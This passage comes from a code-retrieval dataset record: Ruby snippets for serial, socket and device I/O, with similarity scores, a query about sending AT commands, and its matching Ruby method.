reached\n break if prompt === line\n raise EOFError if fail_eof\n if line == ''\n line = nil\n yield nil if block_given?\n end\n break\n end\n end\n line\n end", "def receive_char(timeout=0)\n response = AGIResponse.new\n command_str = \"RECEIVE CHAR #{(timeout.to_i * 1000)}\"\n begin\n response.native = execute(command_str)\n rescue AGITimeoutError, AGICommandError, AGIHangupError\n raise\n end\n if response.native == -1 then\n raise AGIChannelError.new(@last_response, \"Channel Failure in (#{command_str})\")\n elsif response.native == 0\n raise AGICommandError.new(@last_response, \"Channel doesn't support TEXT in (#{command_str})\")\n else\n response.success = true\n response.data = response.native.chr\n end\n return response\n end", "def wait\n @running.reset\n @waiting.set\n @running.wait\n end", "def wait_until_open_confirmed; end", "def wait_until\n until yield\n wait\n end\n end", "def wait\n # it might be awaken by some other futures!\n mutex.synchronize{ condv.wait(mutex) until done? } unless done?\n end", "def wait_done\n sleep 0.01 until done?\n end", "def get_cmd(command,sleep_time,timeout,tries)\n msg=''\n ret=tries\n success=nil\n if(not(ret))\n ret=1\n end\n $queue.synchronize do\n $rx_messages.clear()\n end\n while(ret>0 and (not(success)))\n ret=ret-1\n $serial_port.synchronize do\n $serialport.write(command)\n end\n now=Time.now().to_f\n while((not(success)) and Time.now().to_f-now<=timeout)\n $queue.synchronize do\n if($rx_messages.length>0)\n msg=$rx_messages.pop()\n success=true\n end\n end\n sleep(0.1)\n end\n end\n if(success)\n sleep(sleep_time)\n return(msg)\n else\n return(nil)\n end\nend", "def wait(arg0)\n end", "def connection_status_crypt_wait_response; end", "def wait_for_pending_sends\n send_pending\n while output.length > 0\n result = IO.select(nil, [self]) or next\n next unless result[1].any?\n\n send_pending\n end\n end", "def receive_until_token(token)\n received = \"\"\n begin\n byte = @socket.recv(1)\n @receive_buffer << byte\n received << byte\n \n # handle control bytes\n case byte\n when REQUEST_WINDOW_SIZE\n @logger.debug(\"request: window / screen size\") if @logger\n @socket.print(window_size_message)\n when REQUEST_CLEAR_BUFFER\n @logger.debug(\"request: clear buffer\") if @logger\n @receive_buffer = \"\"\n when REQUEST_SWITCH_TO_RAW\n @logger.debug(\"request: switch to raw\") if @logger\n # ...\n when REQUEST_SWITCH_TO_NORMAL\n @logger.debug(\"request: switch to normal\") if @logger\n # ...\n end\n end while !(@receive_buffer =~ token)\n @logger.debug(\"received: #{received.inspect}\") if @logger\n received\n end", "def enter_at_mode\n while gets.size > 0; end # discard remain data\n Machine.delay(1000) # wait 1 second\n 10.times do\n begin\n self.write '+++'\n Machine.delay(1000) # wait 1 second\n rsp = wait_cr(TMO_RESPONSE)\n return rsp\n rescue => e\n end\n end\n raise \"Cannot enter AT mode\"\n end", "def wait_readable(io)\n wait io do |monitor|\n monitor.wait_readable\n end\n end", "def rx_waitfor(n_packets, timeout_seconds = 1.0)\n t0 = Time.now.to_f\n while true\n rxc = rx_counter\n return rxc if rxc >= n_packets\n return nil if (Time.now.to_f - t0) >= timeout_seconds\n sleep(1.0/25)\n end\n end", "def reader_ready?\n IO.select([@socket],nil,nil,0) != nil\n end", "def wait_for_message\n listen_for_messages\n loop { publish_message(@current_user, gets.strip) }\n end" ]
[ "0.6965205", "0.61147755", "0.61147755", "0.61147755", "0.6060272", "0.6046571", "0.6046426", "0.60385346", "0.60335195", "0.6018435", "0.6004146", "0.60003126", "0.59788054", "0.5954433", "0.59417325", "0.59417325", "0.5935579", "0.58947027", "0.5872913", "0.5872913", "0.5840103", "0.5827233", "0.5806128", "0.58054924", "0.5773799", "0.57655877", "0.5741645", "0.5728288", "0.5710388", "0.56923085", "0.5688696", "0.5688696", "0.5686532", "0.5684844", "0.5658", "0.56158847", "0.5610978", "0.56067985", "0.5598058", "0.55975187", "0.55968845", "0.55968845", "0.55925953", "0.55924904", "0.55401576", "0.5531616", "0.5523682", "0.5490676", "0.5488689", "0.5481173", "0.5478647", "0.54784554", "0.5476882", "0.54687285", "0.54641813", "0.54638284", "0.54529715", "0.54478276", "0.54327", "0.5426653", "0.5421209", "0.5419463", "0.5413009", "0.54127717", "0.54094326", "0.54067194", "0.5401746", "0.5386536", "0.53747076", "0.5367328", "0.5364897", "0.5351603", "0.5330021", "0.5321949", "0.5315085", "0.5309854", "0.53091335", "0.5294103", "0.52921563", "0.52854013", "0.528017", "0.52718776", "0.52686006", "0.52563196", "0.52557915", "0.52523005", "0.5247365", "0.5243611", "0.5239996", "0.5237647", "0.5230715", "0.5217367", "0.52170855", "0.5215374", "0.5203225", "0.5193449", "0.51927894", "0.51902807", "0.51790667", "0.51677966" ]
0.6982404
0
Send AT command and receive response
def at_cr(cmd, tmo=nil) at(cmd) wait_cr(tmo) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def send_command(command)\n SerialPort.open(self.device_path, 9600, 8, 1) do |port|\n # flush anything existing on the port\n port.flush\n flush_read_buffer(port)\n\n byte_string = command.to_bytes.pack('C*')\n\n begin\n while byte_string && byte_string.length != 0\n count = port.write_nonblock(byte_string)\n byte_string = byte_string[count,-1]\n\n port.flush\n end\n rescue IO::WaitWritable\n if IO.select([], [port], [], 5)\n retry\n else\n raise IOError, \"Timeout writing command to #{self.device_path}\"\n end\n end\n\n # wait for expected confirmation signals\n got_eot = false\n got_soh = false\n loop do\n begin\n c = port.read_nonblock(1)\n\n case c\n when \"\\x04\"\n if ! got_eot\n got_eot = true\n else\n raise IOError, \"Got EOT reply twice from #{self.device_path}\"\n end\n when \"\\x01\"\n if got_eot\n if ! got_soh\n got_soh = true\n\n break\n else\n raise IOError, \"Got SOH twice from #{self.device_path}\"\n end\n else\n raise IOError, \"Got SOH before EOT from #{self.device_path}\"\n end\n end\n rescue IO::WaitReadable\n if IO.select([port], [], [], 3)\n retry\n else\n raise IOError, \"Timeout waiting for command reply from #{self.device_path}. EOT:#{got_eot} SOH:#{got_soh}\"\n end\n end\n end\n end\n\n self\n end", "def enter_at_mode\n while gets.size > 0; end # discard remain data\n Machine.delay(1000) # wait 1 second\n 10.times do\n begin\n self.write '+++'\n Machine.delay(1000) # wait 1 second\n rsp = wait_cr(TMO_RESPONSE)\n return rsp\n rescue => e\n end\n end\n raise \"Cannot enter AT mode\"\n end", "def say(cmd)\n @socket.send(\"#{cmd}\\n\\n\",0)\n response\n end", "def do_command\n _, cmd, _, atype, addr_length = @data.unpack(\"C5\")\n header_length = 0\n\n case atype\n when 1, 4 # 1: ipv4, 4 bytes / 4: ipv6, 16 bytes\n ip_length = 4 * atype\n host = IPAddr.ntop @data[4, ip_length]\n port = @data[4 + ip_length, 2].unpack('S>').first\n header_length = ip_length + 6\n when 3 # domain name\n host = @data[5, addr_length]\n port = @data[5 + addr_length, 2].unpack('S>').first\n header_length = addr_length + 7\n else\n panic :address_type_not_supported\n end\n\n case cmd\n when 1\n send_data reply_data(:success)\n @connection = EventMachine.connect(Config.remote_server_host, Config.remote_server_port, Connection)\n @connection.server = self\n @connection.send_encoded_data(\"#{host}:#{port}\")\n @connection.send_encoded_data(@data[header_length, -1])\n clear_data\n Fiber.yield\n when 2, 3 # bind, udp\n panic :command_not_supported\n else\n panic :command_not_supported\n end\n end", "def send_command( command )\n cmd = \"MESSAGET #{command.size}\\n#{command}\\n\"\n logger.debug( \">>> Sending cmd #{cmd.gsub( /\\n/, ' ' )}\" )\n \n out_socket.send( cmd , 0 )\n result = out_socket.recv(100)\n logger.debug( \"<<< Result ==> #{result}\" )\n result\n end", "def transmit_command(command_str)\n \t puts \"sending command #{command_str}\"\n \t cmd_url = \"http://#{@host}/3?#{command_str}=I=3\"\n open cmd_url do |f|\n puts f.read\n end\n end", "def write_command(cmd, data='', synth=SYNTH_A)\n # Make sure cmd is valid\n raise \"unknown command #{cmd}\" unless LENGTH.has_key?(cmd)\n # Verify length of data to write\n if data.length != LENGTH[cmd]\n raise \"invalid data length for command #{cmd} \" +\n \"(expected #{LENGTH[cmd]}, got #{data.length})\"\n end\n # Make sure synth has no stray bits set\n synth &= (SYNTH_A|SYNTH_B)\n\n serialport do |sp|\n cmd = WR|synth|cmd unless cmd == CMD_WRITE_FLASH\n csum = Valon.generate_checksum(cmd.chr, data)\n cmd_data_csum = [cmd, data, csum].pack('CA*A')\n sp.write(cmd_data_csum)\n ack = sp.read(1).ord\n raise \"nak error (#{ack == NAK ? 'NAK' : ack.inspect})\" if ack != ACK\n end\n nil\n end", "def send_command(command)\n # Enable the chip, set the DC line to COMMAND\n RPi::GPIO.set_low @cs\n RPi::GPIO.set_low @dc\n # Now send the command over the SPI line\n @spi.xfer(txdata: [command])\n # We're done, turn off CS\n RPi::GPIO.set_high @cs\n end", "def send(command)\n Puppet.debug(\"Debconf: send #{command}\")\n\n @pipe.puts(command)\n response = @pipe.gets(\"\\n\")\n\n if response\n if DEBCONF_COMMUNICATE.match(response)\n # Response is devided into the return code (casted to int) and the\n # result text. Depending on the context the text could be an error\n # message or the value of an item.\n @retcode, @retmesg = $1.to_i, $2\n else\n fail(\"Debconf: debconf-communicate returned (#{response})\")\n end\n else\n fail(\"Debconf: debconf-communicate unexpectedly closed pipe\")\n end\n end", "def send(acmd, wait = 0)\n if @trace\n Plog.info \"Sending #{acmd}\"\n end\n return if @options[:sim]\n unless @wchan\n @wchan = File.open(MINPUT, \"w\")\n end\n @wchan.puts(\"#{acmd}\")\n @wchan.flush\n if wait > 0\n get_response(wait)\n end\n end", "def receive_char(timeout=0)\n response = AGIResponse.new\n command_str = \"RECEIVE CHAR #{(timeout.to_i * 1000)}\"\n begin\n response.native = execute(command_str)\n rescue AGITimeoutError, AGICommandError, AGIHangupError\n raise\n end\n if response.native == -1 then\n raise AGIChannelError.new(@last_response, \"Channel Failure in (#{command_str})\")\n elsif response.native == 0\n raise AGICommandError.new(@last_response, \"Channel doesn't support TEXT in (#{command_str})\")\n else\n response.success = true\n response.data = response.native.chr\n end\n return response\n end", "def test_serial_port\n master = SerialPort.new \"/home/ralph/dev/vmodem0\", 38400\n\n master.write \"AT\\r\\n\"\n\n master.write \"AT\\r\\n\"\n master.write \"AT\\r\\n\"\n #slave = SerialPort.new \"/dev/pts/10\", 38400\n\n assert_equal \"AT\", master.read\n end", "def send_command_old(*args)\n # flatten the args, make sure each byte is between 0-0xFF, and send it.\n command_str = \"char-write-cmd 0x001b \" + args.flatten.map {|b| sprintf(\"%02X\", b & 0xFF)}.join\n # puts command_str\n @mip_writer.puts(command_str)\n \n # TODO: check to see if the reader has anything in the buffer, then read\n until @mip_reader.ready?\n sleep(1)\n end\n @response = @mip_reader.read_nonblock(1000)[command_str.length+1 .. -1]\n \n # return any response in packed byte format\n # pack_response(@mip_reader.read)\n end", "def send_command(cmd)\n write cmd.chr\n end", "def send_command(command)\n @client.write \"#{command}\\r\\n\"\n end", "def send_command(str)\n str += \"\\r\"\n write(socket, str) # the write is blocking\n sleep(0.2)\n read(socket).gsub(prompt,'')\n end", "def send_command(house_and_unit, command)\n house_code, unit_code = select_code(house_and_unit)\n @marshaller.send(X10_PREFIX + house_code + unit_code + ADDRESS_SUFFIX)\n @marshaller.send(X10_PREFIX + house_code + COMMAND_CODE_TABLE[command] +\n COMMAND_SUFFIX)\n end", "def execute_command( text , log, onscreen)\n\n begin\n\n # write the command to the arduino\n puts \"WR: #{text}\" if onscreen\n @bot_dbaccess.write_to_log(1, \"WR: #{text}\") if log\n @serial_port.read_timeout = 2\n @serial_port.write( \"#{text} \\n\" ) \n\n done = 0\n r = ''\n received = ''\n start = Time.now\n timeout = 5\n\n # wait until the arduino responds\n while(Time.now - start < timeout and done == 0)\n\n # if there is an emergency stop, immediately write it to the arduino\n if ($status.emergency_stop)\n @serial_port.write( \"E\\n\" )\n end\n\n # check for incoming data\n i = @serial_port.read(1)\n if i != nil\n i.each_char do |c|\n if c == \"\\r\" or c == \"\\n\"\n if r.length >= 3\n\n # some data received\n puts \"RD: #{r}\" if onscreen\n @bot_dbaccess.write_to_log(1,\"RD: #{r}\") if log\n\n # get the parameter and data part\n c = r[0..2].upcase\n t = r[3..-1].to_s.upcase.strip\n\n # process the feedback\n case c\n\n # command received by arduino\n when 'R01' \n timeout = 90\n\n # command is finished\n when 'R02'\n done = 1\n\n # command is finished with errors\n when 'R03'\n done = 1\n\n # command is still ongoing\n when 'R04'\n start = Time.now\n timeout = 90\n\n # specific feedback that is processes seperately\n else\n process_value(c,t)\n end\n r = ''\n end\n else\n r = r + c\n end\n end\n else\n sleep 0.001\n end\n end\n\n # log things if needed\n if done == 1\n puts 'ST: done' if onscreen\n @bot_dbaccess.write_to_log(1, 'ST: done') if log\n else\n puts 'ST: timeout'\n @bot_dbaccess.write_to_log(1, 'ST: timeout')\n\n sleep 5\n end\n\n rescue Exception => e\n puts(\"ST: serial error\\n#{e.message}\\n#{e.backtrace.inspect}\")\n @bot_dbaccess.write_to_log(1,\"ST: serial error\\n#{e.message}\\n#{e.backtrace.inspect}\")\n\n @serial_port.rts = 1\n connect_board\n\n sleep 5\n end\n\n end", "def send_cmd(cmd)\n full_cmd = '$' + cmd + '#' + checksum(cmd)\n vprint_status('Sending cmd: '+full_cmd)\n sock.put(full_cmd)\n read_ack\n end", "def send(cmd)\n return false unless connected?\n while read_nonblock do end # flush previous response data\n @client.send(cmd, 0)\n @client.recv(256).strip\n end", "def send_cmd(command,check_command,check_value,sleep_time,timeout,tries)\n msg=''\n ret=tries\n success=nil\n if(not(ret))\n ret=1\n end\n $queue.synchronize do\n $rx_messages.clear()\n end\n while(ret>0 and (not(success)))\n ret=ret-1\n $serial_port.synchronize do\n $serialport.write(command)\n end\n sleep(sleep_time)\n if(check_command)\n $serial_port.synchronize do\n $serialport.write(check_command)\n end\n msg=''\n now=Time.now().to_f\n while((not(success)) and Time.now().to_f-now<=timeout)\n $queue.synchronize do\n if($rx_messages.length>0)\n msg=$rx_messages.pop()\n if(msg==check_value)\n success=true\n end\n end\n end\n sleep(0.1)\n end\n else\n return(true)\n end\n end\n if(success)\n return(msg)\n else\n return(nil)\n end\nend", "def select(aid)\n\t\t\tsend_apdu(\"\\x00\\xA4\\x04\\x00#{aid.size.chr}#{aid}\")\n end", "def transmit(command, options={})\n client.connection.transmit(command, **options)\n end", "def command(command)\n \n if ! @authed\n raise RCon::NetworkException.new(\"You must authenticate the connection successfully before sending commands.\")\n end\n\n @packet = RCon::Packet::Source.new\n @packet.command(command)\n\n @socket.print @packet.to_s\n rpacket = build_response_packet\n\n if rpacket.command_type != RCon::Packet::Source::RESPONSE_NORM\n raise RCon::NetworkException.new(\"error sending command: #{rpacket.command_type}\")\n end\n\n if @return_packets\n return rpacket\n else\n return rpacket.string1\n end\n end", "def command(command)\n \n if ! @authed\n raise RCon::NetworkException.new(\"You must authenticate the connection successfully before sending commands.\")\n end\n\n @packet = RCon::Packet::Source.new\n @packet.command(command)\n\n @socket.print @packet.to_s\n rpacket = build_response_packet\n\n if rpacket.command_type != RCon::Packet::Source::RESPONSE_NORM\n raise RCon::NetworkException.new(\"error sending command: #{rpacket.command_type}\")\n end\n\n if @return_packets\n return rpacket\n else\n return rpacket.string1\n end\n end", "def select(aid)\n\t\t\tsend_apdu!(\"\\x00\\xA4\\x04\\x00#{aid.size.chr}#{aid}\")\n end", "def command(cmd, arg = 2)\n return if @sp == nil\n #<SOT><CMD_BYTE><CHECK_SUM><EOT>\n case cmd\n=begin\n Request DCF Time\n <SOH><0x30><Chksum><EOT>\n=end\n when 0 #Poll DCF Time\n exchange(\"\\x01\\x30\\xcf\\x04\", 7)\n puts DCF77.new(@response).to_s\n=begin\n Request Dataset\n \t<SOH><0x31><Chksum><EOT>\n \t\tResponse from weather station: (34/60 Bytes) Mine has additional 0 byte, so 35/61 bytes are received.\n \t\t1. Data available\n \t\t\tBlock no.: 2 bytes Number of the block in the memory\n \t\t\t (no relation to time. Serves to control dataset registered twice).)\n \t\t\tTime: 2 bytes Age of the dataset in minutes up to the current time.\n \t\t\t\t\t\t\t\t age = ( data[2] & 0xff ) + ( data[3] << 8 & 0xff00 );\n \t\t\tData: 30 (9 sensors) or 56 (16 sensors) bytes\n \t\t2. No data available: <DLE>\n=end\n when 1 #Request dataset\n exchange(\"\\x01\\x31\\xce\\x04\", 61)\n #@response.each { |r| print \"%02X \" % r }\n s = Sensors.new(@response)\n if s.data?\n puts s.to_data_row\n puts Sensors.new(@response).to_s\n end\n=begin\n \tSelect Next Dataset\n \t\t<SOH><0x32><Chksum><EOT>\n \t\t\tResponse from weather station: (1 Byte)\n \t\t\t\t1. Next dataset available : <ACK> 0x06\n \t\t\t\t2. No dataset available: <DLE> 0x10\n=end\n when 2 #select next dataset\n exchange(\"\\x01\\x32\\xcd\\x04\",1)\n exit @response[0] == ACK ? 0 : 1\n=begin\n \tSet 8 Sensors\n \t\t<SOH><0x33><Chksum><EOT>\n \t\tResponse from weather station: (1 Byte)\n \t\t<ACK>\n=end\n when 3 #activate 8 sensors\n exchange(\"\\x01\\x33\\xcc\\x04\",1)\n exit @response[0] == ACK ? 0 : 1\n=begin\n set 16 Sensors\n \t<SOH><0x34><Chksum><EOT>\n \tResponse from weather station: (1 Byte)\n \t<ACK>\n=end\n when 4 #activate 16 sensors\n exchange(\"\\x01\\x34\\xcb\\x04\",1)\n exit @response[0] == ACK ? 0 : 1\n=begin\n \tStatus\n \t <SOH><0x35><Chksum><EOT>\n \tResponse from weather station: (21 Byte)\n \tBytes 1 - 18\n \t\t\tS:1-8 Temp/Hum\n \t\t\t9 Rain,\n \t\t\t10 Wind\n \t\t\t11 Indoor Temp/Hum/Pres\n \t\t\t12 S9:Temp/Hum\n \t\t\t13-15 S10-15:Temp/Hum/Pres\n \t\tByte >= 0x10 if sensor present\n \t\tvalue > 0x10 number of error\n \tByte 19 Sample Interval in minutes\n \tByte 20\n \t bit 0 DFC77 time receiver active\n \t\tbit 1 HF if set\n \t\tbit 2 8/16 Sensors\n \t\tbit 3 DFC Synchronized (Not likely in NZ)\n \tByte 21 Version Number\n=end\n when 5 #Request Status\n exchange(\"\\x01\\x35\\xca\\x04\", 21)\n @response.each { |r| print \"%02X \" % r }\n puts\n=begin\n Set Interval time\n \t <SOH><0x36><minutes><Chksum><EOT>\n \t\tminutes range 1..60\n \t Response from weather station: (1 Byte)\n \t<ACK> if in range\n \t<DLE> if out of range\n=end\n when 6 #set interval time\n #<SOT><CMD_BYTE><ARGUMENT><CHECK_SUM><EOT>\n raise Weather_exception, \"Interval Range 2..60\" if arg > 60 || arg < 2\n exchange(\"\\x01\\x36#{arg.chr}#{(0xc9-arg).chr}\\x04\", 1)\n exit @response[0] == ACK ? 0 : 1\n\n when 12 #Loop through 1 and 2\n begin\n exchange(\"\\x01\\x31\\xce\\x04\", 61)\n s = Sensors.new(@response)\n exchange(\"\\x01\\x32\\xcd\\x04\",1)\n if s.data?\n\t puts s.to_data_row\n else\n break\n end\n end while( @response[0] == ACK )\n end\n end", "def send(cmd)\n puts send_cmd(cmd)\n end", "def send_command(command, attempt=0)\n Timeout::timeout(timeout.to_f / 1000.0) do\n connect! unless self.remote\n self.remote.puts command\n response = self.remote.gets\n unless command == \"ping\"\n results = Marshal.load(Base64.decode64(response))\n else\n results = response.delete(\"\\n\")\n end\n results\n end\n rescue TimeoutError => e\n if attempt < max_attempts\n send_command(command, attempt+1)\n else\n raise CommandTimeoutError\n end\n rescue Exception => e\n if attempt < max_attempts\n send_command(command, attempt+1)\n else\n #self.remote = nil\n #raise CommandError\n puts e.to_json\n end\n end", "def _send_command(command)\n # Create the console and get its id\n console = @client.call(\"console.create\")\n\n # Do an initial read / discard to pull out any info on the console\n # then write the command to the console\n @client.call(\"console.read\", console[\"id\"])\n @client.call(\"console.write\", console[\"id\"], \"#{command}\\n\")\n\n # Initial read\n output_string = \"\"\n output = @client.call(\"console.read\", console[\"id\"])\n output_string += \"#{output['data']}\"\n\n # Very very hacky. -- There should be a way to check\n # status of a call to make sure that it isn't in an error\n # state. For now, check the output for known error heuristics\n return output_string if output_string =~ /(\\[-\\]|Error)/\n\n # Read until finished\n while (!output.has_key?(\"result\")) do\n return unless output[\"busy\"]\n output_string += \"#{output['data']}\"\n output = @client.call(\"console.read\", console[\"id\"])\n return \"Error\" if output[\"result\"] == \"failure\"\n # A little bit of sleeping will prevent this infinite loop from\n # hogging up large portions of CPU time. It also adds load to the\n # msfrpc daemon as it will need to process these requests as wel..\n sleep 0.1\n end\n\n # Clean up console\n @client.call(\"console.destroy\", console[\"id\"])\n\n output_string\n end", "def send_and_receive( cmd_str )\n trans_send( cmd_str )\n trans_send( RPC::MSG_END )\n trans_receive()\n end", "def tx(command,options={})\n return [] unless socket\n socket.write \"#{command}\\r\\n\"\n sleep(1)\n\n # hum, this is more involved than would be ideal to account for sketchy serial comms\n buffer =[]\n retries = 0\n retry_limit = options[:retry_limit]||10\n line_wait = options[:line_wait]||0.3\n unfinshed_line = nil\n begin\n lines = socket.readlines\n if lines.empty?\n sleep(line_wait)\n retries += 1\n else\n lines.each_with_object(buffer) do |raw_line,memo|\n line = raw_line.chomp.chomp\n if line == raw_line\n unfinshed_line ||= ''\n unfinshed_line << line\n else\n line, unfinshed_line = unfinshed_line + line, nil if unfinshed_line\n memo << line\n yield line if block_given?\n end\n end\n end\n end until ALL_STATUS_CODES.include?(buffer.last) || retries > retry_limit\n buffer\n end", "def exchange(send_bytes, response_nbytes )\n @response = []\n @sp.rts = 0\n @sp.dtr = 0\n @sp.dtr = 1\n begin\n x = @sp.readbyte #should get an ETX after toggling the DTR\n raise Weather_exception, \"Bad packet: No ETX\" if x != ETX\n\n @sp.write(send_bytes)\n @sp.flush()\n x = @sp.readbyte #should get an ETX after toggling the DTR\n raise Weather_exception, \"Bad packet: No STX\" if x != STX\n\n length = @sp.readbyte\n STDERR.puts \"Length = #{length}\"\n\n i = 1\n escaped = false\n begin\n x = @sp.readbyte\n if length > 0\n STDERR.print \"#{i}: #{\"%02X\" % x} \"\n i += 1\n if x == ENQ\n escaped = true\n elsif escaped\n case x\n when DC2; @response << STX\n when DC3; @response << ETX\n when NAK; @response << ENQ\n else @response << x\n end\n escaped = false\n length -= 1\n else\n @response << x\n length -= 1\n end\n elsif length == 0\n @checksum = x\n length = -1\n raise Weather_exception, \"Checksum Error #{\"%02X\"%x}\" if x != checksum(@response)\n elsif x != ETX\n raise Weather_exception, \"Missing ETX\"\n end\n end while x != ETX\n\n # not available <STX 02h> <01h> <NAK 15h> <0E8h> <ETX 03h>\n if @response[0] == NAK #Got a NAK packet\n raise Weather_exception, \"Comms Error\"\n end\n ensure\n @sp.dtr = 0\n STDERR.puts\n end\n end", "def send_ack\n sock.put('+')\n vprint_status('Sending ack...')\n end", "def enter_command(cmd)\n @socket.print(\"#{cmd}\\n\")\n end", "def send_cmd(cmd, conn)\n out = conn.cmd('String' => cmd, 'Match' => /(SUCCESS:.*\\n|ERROR:.*\\n|END.*\\n)/)\n out.lines\nend", "def exec(socket, read_timeout = DEFAULT_READ_TIMEOUT)\n socket.write(to_b)\n res = Response.recv(socket, read_timeout)\n command.parse(res)\n end", "def send_cmd(cmd)\n # What time is it ?\n # update_access\n\n # Write the command plus a newline to the input\n @pipe.write_input(cmd + \"\\n\")\n end", "def receive\n\t\t# send ready\n\t\tputs @ready_word\n\n\t\t# initialial sequence\n\t\thexsize = 0\n\t\twhile cmd = get_line\n\t\t\tcase cmd[0]\n\t\t\twhen CMDSTART\n\t\t\t\tputs RSPSTART\n\t\t\twhen CMDVERSION\n\t\t\t\t# 12345678901234567890123456789012\n\t\t\t\t# \"enzi H1.0.5 \"\n puts sprintf(\"%-16s%c%-15s\", BOARD_NAME, DATA_TYPE, FIRM_VERSION)\n\t\t\twhen CMDSIZE # 'Sxxxx'\n\t\t\t\thexsize = cmd[1..-1].to_i(16)\n\t\t\t\tputs \"\"\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\traise \"Invalid command #{cmd.inspect}\"\n\t\t\tend\n\t\tend\n\n\t\t# receive and write application binary\n bin = ''\n binsize = (hexsize / 2).to_i\n while bin.size < binsize\n hex = get_line.strip\n 0.step(hex.size-1, 2) {|i|\n bin << (hex[i,2].to_i(16).chr)\n }\n puts \"#{bin.size * 2}/#{hexsize}\"\n end\n\n\t\t# check CRC16 checksum\n\t\tcrc = get_line\n # TODO: check\n # puts crc\n\n # Overwrite application binary file\n f = File.open(APPFILE, 'w+')\n bin.each_char {|b| f.putc b}\n f.flush\n f.close\n\n # notify completion\n puts crc\n delay(500)\n\n # software reset\n system_reset\n end", "def status\n sts = atcmd \"ATAI\"\n sts.to_i(16)\n end", "def write(cmd)\n\t \t @log.debug \"Tx: \"+cmd\n\t\t @sp.write cmd\n\t\t sleep 0.25 \n\t end", "def transfer_command( amount, ship )\n\t\t\t\tTransferCommand.new @interface, amount, ship\n\t\t\tend", "def read_command(cmd, synth=SYNTH_A)\n # Make sure cmd is valid\n raise \"unknown command #{cmd}\" unless LENGTH.has_key?(cmd)\n # Make sure synth has no stray bits set\n synth &= (SYNTH_A|SYNTH_B)\n # Get length of data to read\n length = LENGTH[cmd]\n\n serialport do |sp|\n cmd = RD|synth|cmd\n sp.write(cmd.chr)\n data = sp.read(length)\n csum = sp.read(1)\n if @debug\n print\"data\"\n data.each_char {|c| print \" %02x\" % c.ord}\n puts csum ? \"\\ncsum %02x\" % csum.ord : \"\\ncsum --\"\n end\n if !csum || !Valon.checksum_ok?(csum, data)\n #p \"data=#{data.inspect} (len #{data.length})\"\n #p \"csum=#{csum.inspect}\"\n raise 'checksum error'\n end\n return data\n end\n end", "def received(data, command)\n\t\tlogger.debug \"Extron IPCP sent #{data}\"\n\t\t\n\t\tif command.nil? && data =~ /Copyright/i\n\t\t\tpass = setting(:password)\n\t\t\tif pass.nil?\n\t\t\t\tdevice_ready\n\t\t\telse\n\t\t\t\tdo_send(pass)\t\t# Password set\n\t\t\tend\n\t\telsif data =~ /Login/i\n\t\t\tdevice_ready\n\t\telse\n\t\t\tcase data[0..2].to_sym\n\t\t\twhen :Irs\t# IR Sent\n\t\t\twhen :Cpn\t# IO or Relay\n\t\t\t\tport = data[3..-1].to_i\n\t\t\t\t\n\t\t\t\tdata = data.split(' ')[1]\n\t\t\t\tcase data[0..2]\n\t\t\t\twhen 'Iom'\t# IO mode\n\t\t\t\t\tdata = data[3..-1].split(',')\n\t\t\t\t\tself[\"IO#{port}_mode\"] = data[0].to_i\n\t\t\t\t\tif data.length > 1\n\t\t\t\t\t\tself[\"IO#{port}_upper\"] = data[1].to_i\n\t\t\t\t\t\tself[\"IO#{port}_lower\"] = data[2].to_i\n\t\t\t\t\tend\n\t\t\t\twhen 'Sio'\n\t\t\t\t\tself[\"IO#{port}\"] = data[3..-1].to_i\n\t\t\t\t\t\n\t\t\t\twhen 'Rly'\t\t\t\t\t\t# Relay\n\t\t\t\t\tself[\"relay#{port}\"] = data[3..-1].to_i == 1\n\t\t\t\t\t\n\t\t\t\tend\n\t\t\twhen :Dcp\t# Power\n\t\t\t\tdata = data.split('*')\n\t\t\t\tport = data[0][5..-1].to_i\n\t\t\t\tself[\"power#{port}\"] = data[1] == '1'\n\t\t\telse\n\t\t\t\tif data == 'E22'\t# Busy! We should retry this one\n\t\t\t\t\tsleep(1)\n\t\t\t\t\treturn :failed\n\t\t\t\telsif data[0] == 'E'\n\t\t\t\t\tlogger.info \"Extron Error #{ERRORS[data[1..2].to_i]}\"\n\t\t\t\t\tlogger.info \"- for command #{command[:data]}\" unless command.nil?\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\treturn :success\n\tend", "def sendcmd(cmd)\n synchronize do\n\t putline(cmd)\n\t return getresp\n end\n end", "def get_cmd(command,sleep_time,timeout,tries)\n msg=''\n ret=tries\n success=nil\n if(not(ret))\n ret=1\n end\n $queue.synchronize do\n $rx_messages.clear()\n end\n while(ret>0 and (not(success)))\n ret=ret-1\n $serial_port.synchronize do\n $serialport.write(command)\n end\n now=Time.now().to_f\n while((not(success)) and Time.now().to_f-now<=timeout)\n $queue.synchronize do\n if($rx_messages.length>0)\n msg=$rx_messages.pop()\n success=true\n end\n end\n sleep(0.1)\n end\n end\n if(success)\n sleep(sleep_time)\n return(msg)\n else\n return(nil)\n end\nend", "def remote_command(command)\n socket = TCPSocket.new(@host, @port)\n socket.puts command\n\n data = \"\"\n until (line = socket.readline) =~ /END/\n data << line\n end\n\n socket.close\n data\n end", "def do_send(command, options = {}, &block)\n\t\tcommand = \"!00B#{command}\\r\"\n\t\t\n\t\tsend(command, options, &block)\n\tend", "def att_xfer endpoint, &block\n application \"att_xfer\", endpoint, &block\n end", "def respond\n @sent_command = true\n res = @pending_command\n @pending_command = nil\n RightLinkLog.debug(format_log_message(\"Responding with pending command #{res}\"))\n return res\n end", "def transmit\n if self.sendcmd(\"main.get_trx_status\")==\"tx\"\n return true\n else\n self.sendcmd(\"main.tx\")\n end\n if self.sendcmd(\"main.get_trx_status\")==\"tx\"\n return true\n else\n self.error(\"main.tx failed\")\n return false\n end\n end", "def send\n Chain.send_transaction(hex)\n end", "def commandRead()\n readbuff = \"#\"\n command_get = 0\n cnt = 0\n loop do\n while(Usb.available() > 0) do #何か受信があったらreadbuffに蓄える\n a = Usb.read()\n readbuff += a\n Usb.print a\n if a.to_s == \";\" then\n command_get = 1\n break\n end\n delay 20\n cnt = 0\n end #while\n\n if readbuff.length > 0 then\n cnt += 1\n if cnt > 500 then\n command_get = 1\n break\n end \n delay 20\n end \n\n if command_get==1 || readbuff==\"\" then\n break\n end\n end #loop\n\n if command_get==1 then\n command_get = 0\n if(readbuff[5]==\"/\" and readbuff[8]==\"/\" and readbuff[11]==\" \" and readbuff[14]==\":\" and readbuff[17]==\":\")then\n if(readbuff.length >= 19 )then\n year = readbuff[1,4].to_i\n mon\t = readbuff[6,2].to_i\n da\t = readbuff[9,2].to_i\n 